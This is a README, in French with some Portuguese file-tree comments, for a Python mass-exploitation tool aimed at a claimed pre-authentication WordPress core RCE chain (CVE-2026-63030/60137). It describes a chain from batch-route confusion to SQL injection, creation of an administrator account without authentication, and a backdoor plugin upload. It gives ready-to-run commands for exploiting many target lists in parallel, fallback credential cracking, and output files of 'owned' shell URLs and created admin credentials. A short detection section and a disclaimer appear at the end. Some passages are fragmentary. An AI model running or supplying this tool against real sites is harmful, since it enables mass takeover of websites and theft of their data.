Exploit de masse et détecteur en Python pour la chaîne RCE pré-authentification du cœur de WordPress CVE-2026-63030 et CVE-2026-60137, enchaînant une injection SQL vers une exécution de code à distance.
| Attribut | Détails |
|---|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Chaîne | wp2shell — RCE pré-auth |
| Sévérité | 🔴 CRITIQUE (CVSS 9.8) |
| Cible | Cœur de WordPress (sans plugins) |
| Affecté (RCE) | 6.9.0 – 6.9.4 et 7.0.0 – 7.0.1 |
| Affecté (SQLi uniquement) | 6.8.0 – 6.8.5 |
| Corrigé | 6.8.6 / 6.9.5 / 7.0.2 (18/07/2026) |
| Authentification requise | Aucune |
Deux failles enchaînées dans le cœur de WordPress :
author__not_in de la classe interne WP_Query./wp-json/batch/v1 désynchronise les entrées du batch, faisant « tomber » une requête sur la route suivante.La chaîne convertit la SQLi en RCE pré-authentification :
route confusion /wp-json/batch/v1 ─► SQLi dans author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin créé sans auth
▼
login → upload plugin backdoor → RCE
Solutions de repli : INTO OUTFILE direct (privilège FILE) et extraction aveugle de hash + crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Option | Description |
|---|---|
-l, --targets-file | Une cible par ligne (répétable, sans limite) |
-u, --target | Cible unique |
--cmd | Commande à exécuter sur la cible |
--authorized | Obligatoire (ou WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Cibles en parallèle (1–32) |
--delay | SLEEP du timing/extraction (2 = robuste) |
--rate | Requêtes/s par cible |
-k, --insecure | Ignore TLS |
--proxy | Proxy HTTP |
--wordlist / --password / --username | Repli d'identifiants |
--log / --owned / --results-csv | Fichiers de sortie |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — cibles avec RCE (URL du shell)admins.txt — admins créés sans sink de RCE (identifiants)exploit_log.txt — détail par cibleresults.csv — résumé (exit_code : 0=owned, 4=admin, 2=fail, 3=error)whl_page via SQLi) + slugs courants├── wp2shell.py # exploit + detector
├── targets.txt # alvos (uma URL por linha)
├── owned.txt # RCE conseguido (auto-criado)
├── admins.txt # admins criados (auto-criado)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 et /?rest_route=/batch/v1wp-content/uploads/ et wp-content/plugins/ à la recherche de PHP suspect